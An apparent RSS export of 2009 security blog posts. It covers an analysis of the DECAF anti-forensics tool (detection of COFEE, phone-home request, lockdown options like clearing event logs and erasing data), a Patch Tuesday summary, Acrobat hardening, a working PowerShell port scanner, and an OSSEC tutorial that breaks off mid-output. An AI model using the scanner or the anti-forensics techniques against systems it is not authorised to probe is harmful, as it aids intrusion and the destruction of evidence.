<p>Key: <code>HKU\SOFTWARE\DECAFme</code><br />
Value: <code>AcceptedEULA</code><br />
Data: <code>true</code></p>

<p>The program then connects via HTTP to 208.68.237.165 to check the current version number and receives the following response:
<code>1.0.0|http://www.decafme.org/|</code></p>

<p>If the application does not have a network connection, it will crash upon starting up with the following event:</p>

<pre><code>EventType clr20r3, P1 decaf.exe, P2 1.0.2.0, P3 4b2679b7, P4 decaf,
 P5 1.0.2.0, P6 4b2679b7, P7 115, P8 14d, P9 
system.invalidoperationexception, P10 NIL.
</code></pre>

<div id="attachment_2277" class="wp-caption alignright" style="width: 130px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/ScreenHunter_11-Dec.-14-18.34.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/ScreenHunter_11-Dec.-14-18.34.gif" alt="Decaf Menu" title="ScreenHunter_11 Dec. 14 18.34" width="120" height="148" class="size-full wp-image-2277" /></a><p class="wp-caption-text">Decaf Menu</p></div>

<p>I produced this initially when I had my virtual host&#8217;s network interface disabled.</p>

<p>Starting the monitor puts the application in detection mode, looking for the presence of COFEE. It waits for the launch of runner.exe, the launcher in COFEE, and will perform an action based on the configuration settings. It appears the tool checks the MD5 hash of runner.exe (ab9e68c7e71ebb2d6a5b8d17e9bd6b33). In addition to detecting the launch of runner.exe, the tool performs a WMI query to detect the COFEE USB thumb drive. The WMI query used for this type of action is:</p>

<p><code>SELECT * FROM __InstanceOperationEvent WITHIN 10 WHERE TargetInstance ISA "Win32_DiskDrive"</code></p>

<p>And since the thumb drive has the COFEE label, finding its presence should not be an issue. <br /><br /></p>

<div id="attachment_2302" class="wp-caption aligncenter" style="width: 510px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/ScreenHunter_12-Dec.-14-18.43.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/ScreenHunter_12-Dec.-14-18.43.gif" alt="Notification finding COFEE" title="ScreenHunter_12 Dec. 14 18.43" width="500" class="size-full wp-image-2302" /></a><p class="wp-caption-text">Notification finding COFEE</p></div>

<p>When COFEE is found, a notification is sent over to decafme.org (note I changed the rip field to invalid IP addresses):</p>

<p><code>GET /decaf.php?&amp;rip=299.297.141.45&amp;rtime=12142009_050704PM-5&amp;sim=false HTTP/1.1</code></p>

<p>When clicking Simulate, it mimics what <em>would</em> happen if coffee is found, and the sim field is set to true:</p>

<p><code>GET /decaf.php?&amp;rip=299.297.141.45&amp;rtime=12142009_051522PM-5&amp;sim=true HTTP/1.1</code></p>

<h3>The Configuration Menu</h3>

<div id="attachment_2312" class="wp-caption alignright" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/lockdown_mode.png"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/lockdown_mode-300x252.png" alt="Lockdown Settings" title="lockdown_mode" width="300" height="252" class="size-medium wp-image-2312" /></a><p class="wp-caption-text">Lockdown Settings</p></div>

<p>In the configuration menu, there are checkboxes in the Monitor section to &#8220;Monitor USB&#8221; and &#8220;Monitor COFEE&#8221;. As discussed, these options enable checking for runner.exe and detection of the USB thumb drive. The Notification section contains options for notifying the user when detection occurs. The Actions section is the interesting part, especially editing the Lockdown Mode. Here, you can set what happens when detection occurs. Some of the options are:
<br /></p>

<ul>
<li>Shutdown the system</li>
<li>Kill selected processes</li>
<li>Disable Network, USB, CD-ROM, ports, floppy</li>
<li>Clear event viewer</li>
<li>Erase Data</li>
</ul>

<p><br />
<br /></p>

<p>The configuration settings are stored per user in an XML file located in:</p>

<p><code>%USERPROFILE%\local settings\application data\DECAFme.org\Decaf.exe_Url_5fokqfogt1qso5vyeabunvhsigozqvpo\1.0.2.0&gt;</code></p>

<p>If the config for the user does not exist, the default in the launch directory is used.</p>

<h3>Conclusion</h3>

<p>When I first heard of the tool, I assumed it would also include detection of the default OS commands and Sysinternal utilities that COFEE typically runs, such as pslist.exe or tcpvcon.exe, however, in its current version this is not the case. An anti-forensics tool which expands into detecting the typical collection tools will affect investigations that use various toolkits (Helix, IRCR, etc), not just COFEE. However, as quoted by The Register, the DECAF brewer&#8217;s intentions are not to derail just any collection suite, but for law enforcement to expand beyond using what Microsoft provides them.</p>

<p>This version of decaf is still very bitter and has quite a ways to go in its development. The authors of Decaf are promising a more light-weight version or a windows service in the next release and text message and email triggers to enter lockdown mode remotely in future versions. However, Decaf provides a good example of how anti-forensic tools continue to evolve and can become serious roadblocks for digital forensic investigators.</p>

<h3>Updates</h3>

<p>The authors of Decaf have shut down the project and have said they are starting a forum for those interested in further discussing related matters. Considered a spoof, stunt, hoax, and many other names in the media, we have discussed the matter in the <a href="http://praetorianprefect.com/archives/2009/12/reactivating-decaf-in-two-minutes/">following post</a>.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/04/winpe-3-0-forensics/">WinPE 3.0 &#038; Forensics</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/12/regular-or-decaf-tool-launched-to-combat-cofee/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Six Bulletins in Last Patch Tuesday of 2009</title>
		<link>http://praetorianprefect.com/archives/2009/12/six-bulletins-in-last-patch-tuesday-of-2009/</link>
		<comments>http://praetorianprefect.com/archives/2009/12/six-bulletins-in-last-patch-tuesday-of-2009/#comments</comments>
		<pubDate>Tue, 08 Dec 2009 19:39:55 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Administration]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[patch tuesday]]></category>
		<category><![CDATA[updates]]></category>
		<category><![CDATA[vulnerabilities]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=2088</guid>
		<description><![CDATA[Today marks the last Microsoft patch Tuesday of 2009, and Microsoft has released patches to six bulletins:




MS09-071 &#8211; Vulnerabilities in Internet Authentication Service Could Allow Remote Code Execution (974318)
MS09-074 &#8211; Vulnerability in Microsoft Office Project Could Allow Remote Code Execution (967183) 
MS09-072 &#8211; Cumulative Security Update for Internet Explorer (976325) 
MS09-069 &#8211; Vulnerability in Local [...]]]></description>
			<content:encoded><![CDATA[<p>Today marks the last Microsoft patch Tuesday of 2009, and Microsoft has released patches to six bulletins:</p>

<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/image_31_3.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image_3[1]_3" border="0" alt="image_3[1]_3" src="http://praetorianprefect.com/wp-content/uploads/2009/12/image_31_3.png" width="69" height="81" /></a></p>

<ul>
<li><strong>MS09-071</strong> &#8211; Vulnerabilities in Internet Authentication Service Could Allow Remote Code Execution (974318)</li>
<li><strong>MS09-074</strong> &#8211; Vulnerability in Microsoft Office Project Could Allow Remote Code Execution (967183) </li>
<li><strong>MS09-072</strong> &#8211; Cumulative Security Update for Internet Explorer (976325) </li>
<li><strong>MS09-069</strong> &#8211; Vulnerability in Local Security Authority Subsystem Service Could Allow Denial of Service (974392) </li>
<li><strong>MS09-070</strong> &#8211; Vulnerabilities in Active Directory Federation Services Could Allow Remote Code Execution (971726) </li>
<li><strong>MS09-073</strong> &#8211; Vulnerability in WordPad and Office Text Converters Could Allow Remote Code Execution (975539) </li>
</ul>

<h3>Severity Levels</h3>

<p>Microsoft has a <a href="http://www.microsoft.com/technet/security/bulletin/rating.mspx" target="_blank">rating system</a> for bulletins which includes: Critical, Important, Moderate, and Low. The severity levels I provide below are not directly from Microsoft. For example, MS will give an important rating when exploitation could result in compromise of availability, as in a denial of service. MS09-069 can result in a denial of service, however, the attacker must already be authenticated. For this reason I drop the severity to Low.</p>

<h3>Bulletin Summaries</h3>

<hr />

<p><strong>Bulletin:</strong> MS09-071<br/>
<strong>Recommended Action:</strong> Update Windows 2008 Server (32-bit and 64-bit) which have IAS configured to use PEAP with MS-CHAP v2 authentication.<br/>
<strong>My Severity Rating:</strong> Moderate, should patch the above mentioned software.</p>

<p>This update addresses two vulnerabilities in the Internet Authentication Service (IAS). One is an IAS memory corruption vulnerability and the second is an authentication bypass vulnerability in MS-CHAP authentication. Client operating systems contain the vulnerable code but the components are not used in a way to make them vulnerable.</p>

<hr />

<p><strong>Bulletin:</strong> MS09-074<br/>
<strong>Recommended Action:</strong> Update MS Project 2000 SR-1.<br/>
<strong>My Severity Rating:</strong> Important for Project Software</p>

<p>This update addresses a vulnerability in Microsoft Project which can cause remote code execution when a specially crafted Project file is opened.&#160; Microsoft Project 2000 SR-1, Project 2002 SP1 and Project 2003 SP3 are affected.</p>

<hr />

<p><strong>Bulletin:</strong> MS09-074<br/>
<strong>Recommended Action:</strong> Update Internet Explorer<br/>
<strong>My Severity Rating</strong> Critical</p>

<p>This update addresses five difference vulnerabilities with at least one or more affected every version of Internet Explorer. Attackers can host malicious code which can lead remote code execution on vulnerable systems. Any issues that lead to remote execution in IE should be addressed immediately; even if you are confident about not browsing malicious sites, a known site, <a href="http://praetorianprefect.com/archives/2009/12/pentagon-web-pwned/">such as the Pentagon web site</a>, could be used to automatically execute or redirect you to malicious code using cross-site scripting.</p>

<hr />

<p><strong>Bulletin:</strong> MS09-069<br/>
<strong>Recommended Action:</strong> Update Windows 2000, Windows XP and Windows 2003<br/>
<strong>My Severity Rating:</strong> Low</p>

<p>A vulnerability in LSASS can cause a denial of service. The attacker must be authenticated and communicating through IPSEC.</p>

<hr />

<p><strong>Bulletin:</strong> MS09-070<br/>
<strong>Recommended Action:</strong> Update Windows 2003 and Windows 2008 Servers<br/>
<strong>My Severity Rating:</strong> Low</p>

<p>This update addresses two vulnerabilities in Active Directory Federation Services, one which can be used to spoof an authenticated user and the second which can cause remote code execution. The spoofing requires access to a workstation and browser recently used by a targeted user and the remote code execution requires the attacker to have valid logon credentials to the vulnerable server.</p>

<hr />

<p><strong>Bulletin:</strong> MS09-069     <br/>
<strong>Recommended Action:</strong> Update Windows XP SP3 and/or Office 2003 SP3<br/>
<strong>My Severity Rating:</strong> Moderate</p>

<p>A vulnerability in text converters in WordPad and Office can cause remote code execution. Malicious code can be hosted on a website to trigger an exploit, however, an attempt would cause a dialog box to appear prompting the user to open the file (unless the option to “Always ask before opening this type of file” has been unchecked).</p>

<hr />

<h3>Adobe</h3>

<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/adobelq.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="adobe-lq" border="0" alt="adobe-lq" src="http://praetorianprefect.com/wp-content/uploads/2009/12/adobelq_thumb.png" width="47" height="76" /></a></p>

<p>Adobe has mirrored the patch Tuesday schedule of releasing patches on the first Tuesday of the month. The severity ratings also follow the same definitions a s Microsoft’s.</p>

<p>Adobe has two advisories for this month:</p>

<hr />

<p><strong>Bulletin:</strong> APSA09-06     <br />
<strong>Recommended Action:</strong> Update Adobe Illustrator CS4 and earlier. (Avail Jan 8)     <br />
<strong>My Severity Rating:</strong> Low</p>

<p>A vulnerability in Illustrator CS4 and earlier could lead to remote code execution. The target is required to open a malicious eps file.</p>

<hr />

<p><strong>Bulletin:</strong> APSA09-17     <br />
<strong>Recommended Action:</strong> Update Adobe Flash Player and Adobe AIR<br/>
<strong>My Severity Rating:</strong> Low</p>

<p>Adobe states this is a critical update and it is scheduled for release today, but does not provide details of the update.</p>

<h3>Updates</h3>

<p>Adobe has released details on the Flash Player update. The update addresses six vulnerabilities, five which can lead to remote execution and one to information disclosure. The vulnerabilities were identified in Flash Player version 10.0.32.18 and earlier.</p>

<h3>References</h3>

<ul>
<li><a href="http://www.microsoft.com/technet/security/Bulletin/MS09-dec.mspx">Microsoft&#8217;s December Bulletins</a></li>
<li><a href="http://www.adobe.com/support/security/">Adobe&#8217;s Security Advisories</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/07/turning-an-atm-into-a-slot-machine/">Turning an ATM into a Slot Machine</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/12/six-bulletins-in-last-patch-tuesday-of-2009/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Disabling Javascript on Adobe Acrobat</title>
		<link>http://praetorianprefect.com/archives/2009/12/disabling-javascript-on-adobe-acrobat/</link>
		<comments>http://praetorianprefect.com/archives/2009/12/disabling-javascript-on-adobe-acrobat/#comments</comments>
		<pubDate>Wed, 02 Dec 2009 02:20:45 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[pdf]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=2840</guid>
		<description><![CDATA[For many users, PDF's are simply a mechanism for providing documents to read. Given the spate of vulnerabilities identified in Acrobat and Reader in 2009, and the likely promise of more in 2010, we are releasing by request this general instruction for disabling Javascript in Adobe Acrobat. An advisable approach, depending on your usage of these products, may be to disable Javascript and only re-enable when performing an activity with a PDF that requires Javascript be enabled, such as with an eForm.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/adobelq1.png"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/adobelq1.png" alt="adobelq" title="adobelq" width="43" height="72" class="alignleft size-full wp-image-2846" /></a></p>

<p>Adobe&#8217;s implementation of Javascript in PDF documents, referred to as <a href="http://www.adobe.com/devnet/acrobat/pdfs/Acro6JSGuide.pdf">Acrobat JavaScript</a>, appears to have been originally introduced based on the popularity of PDF eForms. Javascript allows for some dynamic behaviors in PDF&#8217;s, including calculations, responses to user actions, user data validation, and the integration of other dynamic capabilities.</p>

<p>That said, for many users PDF&#8217;s are simply a mechanism for providing documents to read. Given the spate of vulnerabilities identified in Acrobat and Reader in 2009, and the likely promise of more in 2010, we are releasing by request this general instruction for disabling Javascript in Adobe Acrobat. An advisable approach, depending on your usage of these products, may be to disable Javascript and only re-enable when performing an activity with a PDF that requires Javascript be enabled, such as with an eForm.</p>

<p>Adobe notes that disabling Javascript mitigates against exploits identified this year that use Javascript functions to cause a memory corruption, although in some cases it would be possible to create variants that do not rely on Javascript.  To disable Javascript in Adobe Reader or Acrobat: select Edit > Preferences, select the JavaScript option on the left, and uncheck the <i>Enable Acrobat JavaScript</i> option as shown.</p>

<p><div id="attachment_916" class="wp-caption alignnone" style="width: 650px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/AcrobatPreferences.png"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/AcrobatPreferences.png" alt="Uncheck to disable Acrobat JavaScript" title="AcrobatPreferences" width="640" height="424" class="size-full wp-image-916" /></a><p class="wp-caption-text">Uncheck to disable Acrobat JavaScript</p></div>
<br /></p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/first-patch-tuesday-of-2010/">First Patch Tuesday of 2010</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/12/disabling-javascript-on-adobe-acrobat/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>From Promiscuous to Port Scanning with Powershell</title>
		<link>http://praetorianprefect.com/archives/2009/11/from-promiscuous-to-port-scanning-with-powershell/</link>
		<comments>http://praetorianprefect.com/archives/2009/11/from-promiscuous-to-port-scanning-with-powershell/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 19:04:15 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Administration]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[portscan]]></category>
		<category><![CDATA[powershell]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=1924</guid>
		<description><![CDATA[

It&#8217;s been a while since my last post regarding Powershell which showed how to scan hosts for network interfaces in promiscuous mode. This time around, we’ll scan for some well known ports in our Active Directory to see who has a local IIS or SQL Express running on their machine. I know what you’re thinking. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/powershell1.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="powershell1" border="0" alt="powershell1" src="http://praetorianprefect.com/wp-content/uploads/2009/12/powershell1_thumb.jpg" width="84" height="62" /></a></p>

<p>It&#8217;s been a while since <a href="http://praetorianprefect.com/archives/2009/09/whos-being-promiscuous-in-your-active-directory/" target="_blank">my last post regarding Powershell</a> which showed how to scan hosts for network interfaces in promiscuous mode. This time around, we’ll scan for some well known ports in our Active Directory to see who has a local IIS or SQL Express running on their machine. I know what you’re thinking. A port scanner? I already use trusty old NMAP or Superscan. This is not about port scanning, its about Powershell. In the last post, we used the <code>MSNdis_CurrentPackFilter</code> class of WMI to find any network cards in promiscuous mode, using Active Directory computer objects as our targets. Once again, I keep the AD query of computer objects as a way to source target hosts, but the scripts can easily be modified to take in a hosts file or an IP range. For making connections, let’s look into the <code>System.Net.Sockets</code> class.</p>

<p>When I started looking into a method I can use to establish a connection to a given port in order to check if it was open, I went with a Connect method using the <code>System.Net.Sockets.Socket</code> class. This isn’t what I ended up using in the finished script, but I want to mention this class, because it can be used to send data to a connected socket, or to receive data on a listening socket (there is a listen method as well). Perhaps a more detailed post will materialize on those items, but I haven’t thought of a reason to use them yet. Maybe we can convert <a href="http://praetorianprefect.com/archives/2009/11/how-to-crash-windows-7-and-server-2008/" target="_blank">Gaffie’s Python code that crashes Windows 7</a> into a Powershell script one day.</p>

<p>Why didn’t I end up using the socket.connect method? The timeout was too long and I lost patience fiddling with the <code>ConnectAsync</code> method. If interested, here is the code for the <code>socket.connect</code>:</p>

<pre><code>$computer = “test”
$ipport = [int]80
$comp = [Net.Dns]::GetHostEntry($computer)
foreach ($ip in $comp.AddressList) {
   $ep = New-Object System.Net.IPEndPoint($ip, $ipport)
   $socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,
                                                  [System.Net.Sockets.SocketType]::Stream,
                                                  [System.Net.Sockets.ProtocolType]::Tcp)
   $optlevel = [System.Net.Sockets.SocketOptionLevel]::"Socket"
   $optname = [System.Net.Sockets.SocketOptionName]::"SendTimeout"
   $timeout = [Int]100
   $socket.SetSocketOption($optlevel,$optname,$timeout)
   $socket.Connect($ep)
   $socket.Close()
</code></pre>

<p>I’ve left out the AD code and the extra code that’s in the port scan script to show just the use of <code>socket.connect</code>. The workstation in the script is “test” and we’re trying to connect to port 80. If the host is using a firewall that will actively refuse the connection, we get a quick response which would be fine for a port scanner; but, if the port is simply not listening and there is no firewall to actively refuse the connection, there is a pretty significant delay before getting the connection error. This delay is not suitable for port scanning.</p>

<p>Instead of System.Net.Sockets.Socket, we will use the <code>System.Net.Sockets.TcpClient</code> class with the <code>BeginConnect</code> Method in conjunction with a timeout (if it doesn’t complete in a given time, we assume the connection is not available). I’ve seen examples of this used on <code>poshcode.org</code> for testing a connection to port 135 prior to making WMI calls or other RPC calls.</p>

<pre><code>$HostEntry = [Net.Dns]::GetHostEntry($CompName)
foreach ($ip in $HostEntry.AddressList) {
   Write-Host "Checking: $CompName on $ip"
   foreach ($tcpport in $PortList) {
      $TCPclient = new-Object system.Net.Sockets.TcpClient
      $Connection = $TCPclient.BeginConnect($ip,$tcpport,$null,$null)
      $TimeOut = $Connection.AsyncWaitHandle.WaitOne(3000,$false)  ## 3 second timeout can be modified
    if(!$TimeOut)   {
       $TCPclient.Close()
       Write-Host "     OK: Port $tcpport is closed."
       }
    else {
       try {
          $TCPclient.EndConnect($Connection) | out-Null
          $TCPclient.Close()
          ## Next line outputs that the port is closed. I prefer to see output 
          ## processing; comment for outputting only open ports.
          Write-Host "     " -nonewline
          Write-Host "Host: $CompName has port $tcpport open!" -foregroundcolor red -backgroundcolor yellow
          } 
       catch {
          ## Machine actively refused the connection. The port is not open but $TimeOut was still true
          ## Uncomment next line to output the error for this.
          ## write-host $_
         write-host "     OK: Port $tcpport is closed."
       }
</code></pre>

<div class="wp-caption" style="float: right;margin: 5px;margin-left: 60px;margin-right: 21px;"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/ScreenHunter_08Dec.0314.14.gif" title="" rel="lightbox"> <img src="http://praetorianprefect.com/wp-content/uploads/2009/12/ScreenHunter_08Dec.0314.14_thumb.gif" alt="router in router.png" border="0" width="229" height="248" /><p class="wp-caption-text">Note: the script requires a parameter<br />which is comma separated list of ports.<br /><br />Example: ad-portscan.ps1 23,80,443,1433</p></a></div>

<p>You can see by the code snippet above that we are using <code>Sockets.TcpClient</code> rather than <code>Sockets.Socket</code>, and the method used is <code>BeginConnect</code> rather than <code>Connect</code> as in the previous example. If the connection is not available in 3 seconds, the timeout is expired and the script reports the port is closed. In some cases, Windows firewall will refuse the connection while the timeout is not expired. I found in these cases, when attempting to close the connection, an error reported that the connection was refused and was never connected to begin with. This is where the TRY / CATCH comes in, as we check that we can cleanly close the open connection, which will then report that the port is open.</p>

<p>You can find the full script <a href="http://www.praetoriansecuritygroup.com/files/downloads/tools/ad-portscan.txt" target="_blank">here</a>, and while by no means is this to replace your standard port scanner, it can provide a quick way to scan your AD hosts for open ports that you specify or get you digging further into <code>Sockets.Socket</code> which can lead to many places.</p>

<p><em>Note: the script requires a parameter which is comma separated list of ports.</em></p>

<p><em>Example</em>: <code>ad-portscan.ps1 23,80,443,1433</code></p>

<hr />

<ul>
<li><a href="http://msdn.microsoft.com/en-us/library/system.net.sockets.aspx">http://msdn.microsoft.com/en-us/library/system.net.sockets.aspx</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/first-patch-tuesday-of-2010/">First Patch Tuesday of 2010</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/11/from-promiscuous-to-port-scanning-with-powershell/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>OSSEC: Agentless scripts</title>
		<link>http://praetorianprefect.com/archives/2009/11/ossec-agentless-scripts/</link>
		<comments>http://praetorianprefect.com/archives/2009/11/ossec-agentless-scripts/#comments</comments>
		<pubDate>Tue, 03 Nov 2009 23:57:47 +0000</pubDate>
		<dc:creator>Jeremy Rossi</dc:creator>
				<category><![CDATA[Administration]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[agentless]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[openbsd]]></category>
		<category><![CDATA[ossec]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=1419</guid>
		<description><![CDATA[In my last OSSEC post "<a href="/archives/2009/11/ossec-agentless-to-save-the-day/">OSSEC: Agentless to save the day</a>" I went over how to setup agentless monitoring using the built in scripts.  With this post I am going to get into the details of how to modify the OSSEC supplied scripts to do your bidding.]]></description>
			<content:encoded><![CDATA[<p>In my last OSSEC post <a href="/archives/2009/11/ossec-agentless-to-save-the-day/">OSSEC: Agentless to save the day</a> I went over how to setup agentless monitoring using the built in scripts.  With this post I am going to get into the details of how to modify the OSSEC supplied scripts to do your bidding.</p>

<h2>Table of Contents</h2>

<div class="wp-caption" style="float: right;margin: 5px;margin-left: 42px;margin-right: 21px;"><img src="http://praetorianprefect.com/wp-content/uploads/2009/11/Screen-shot-2009-11-02-at-8.06.14-PM.png" border="1" alt="ossec_logo" width="66" height="64" /></div>

<ul>
<li><p><a href="#agentless_scripts">Agentless Scripts</a></p>

<ul>
<li><a href="#agentless_scripts_periodic_diff">Periodic diff Specification</a></li>
<li><a href="#agentless_scripts_periodic">Periodic Specification</a></li>
</ul></li>
<li><a href="#ssh_integrity_check_linux">Agentless Script: ssh_integrity_check_linux</a></li>
<li><p><a href="#ssh_dmz_linux">Our own Agentless Script: ssh_dmz_linux</a></p>

<ul>
<li><a href="#finding_setuid_setgid">Finding all setuid and setgid files</a></li>
<li><a href="#finding_app_files">Finding all authentication and applications specific files</a></li>
<li><a href="#merging_finds">Merging finds</a></li>
<li><a href="#creating_ssh_dmz_linux">Creating ssh_dmz_linux</a></li>
<li><a href="#testing_ssh_dmz_linux">Testing</a></li>
</ul></li>
</ul>

<h2 id="agentless_scripts">Agentless Scripts</h2>

<p>All scripts that work with OSSEC agentless security monitoring use <code>stdout</code> for communication and reporting to the OSSEC server.  This makes writing scripts for OSSEC simple as you do not need to do anything more then print or echo to <code>stdout</code>.  The format of the output does need to meet the OSSEC specification, but that is a very simple thing to do.</p>

<p>Before we move to the specification details I need to explain that OSSEC agentless runs to different types of scripts.  Namely the following:</p>

<table>
<thead>
<tr>
  <th>Type</th>
  <th>Description</th>
</tr>
</thead>
<tbody>
<tr>
  <td>periodic_diff</td>
  <td>Scripts output data to the OSSEC agentless process that will then be compared to past runs and if there are differences an OSSEC alert will be generated.</td>
</tr>
<tr>
  <td>periodic</td>
  <td>Scripts output controlled messages to the OSSEC agentless process that will then be processed accordingly.</td>
</tr>
</tbody>
</table>

<h4 id="agentless_scripts_periodic_diff">Periodic diff Specification</h4>

<p>The output for periodic_diff is very simple, any and all output after the agentless command &#8220;<code>STORE: now</code>&#8221; and before the next OSSEC Command will be stored and compared for differences.  This type of script is mostly used for hardware devices such as Cisco IOS, Juniper JunOS, and other products.</p>

<p>Scripts that use the <code>periodic_diff</code> make use of the following commands:</p>

<table>
<thead>
<tr>
  <th>Command</th>
  <th>Description</th>
</tr>
</thead>
<tbody>
<tr>
  <td>INFO:</td>
  <td>The string following INFO will be logged to <code>/var/ossec/logs/ossec.log</code> by OSSEC for debugging.</td>
</tr>
<tr>
  <td>ERROR:</td>
  <td>Error needs to be reported.  The string following this command is forwarded to the OSSEC manager, and the OSSEC process closes down the script.</td>
</tr>
<tr>
  <td>STORE:</td>
  <td>All the lines that follows this command will be added stored and compared to previous runs of the script</td>
</tr>
</tbody>
</table>

<p>Here is an example of a periodic_diff script that comes with OSSEC. (<em>Please note with all agentless scripts you must be in the root of the OSSEC install for them to function correctly</em>.)</p>

<pre><code>obsd46#( cd /var/ossec &amp;&amp; ./agentless/ssh_pixconfig_diff cisco@172.17.0.1 'show hardware' )
spawn ssh -c des cisco@172.17.0.1
No valid ciphers for protocol version 2 given, using defaults.
Password: 

a.zfw.tss&gt;INFO: Starting.
enable
Password: 
a.zfw.tss#ok on enable pass

STORE: now
no pager
             ^
% Invalid input detected at '^' marker.

a.zfw.tss#term len 0
a.zfw.tss#terminal pager 0
                     ^
% Invalid input detected at '^' marker.

a.zfw.tss#show version | grep -v Configuration last| up
                         ^
% Invalid input detected at '^' marker.

a.zfw.tss#show running-config
Building configuration...


Current configuration : 14631 bytes
!
version 12.4

[................SNIP CONFIG.................]

a.zfw.tss#show hardware
Cisco IOS Software, 3800 Software (C3845-ADVENTERPRISEK9-M), Version 12.4(24)T1, RELEASE SOFTWARE (fc3)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2009 by Cisco Systems, Inc.
Compiled Fri 19-Jun-09 19:21 by prod_rel_team

ROM: System Bootstrap, Version 12.3(11r)T2, RELEASE SOFTWARE (fc1)

a.zfw.tss uptime is 1 week, 5 days, 7 hours, 29 minutes
System returned to ROM by reload at 13:34:26 UTC Thu Oct 22 2009
System image file is "flash:c3845-adventerprisek9-mz.124-24.T1.bin"


This product contains cryptographic features and is subject to United
States and local country laws governing import, export, transfer and
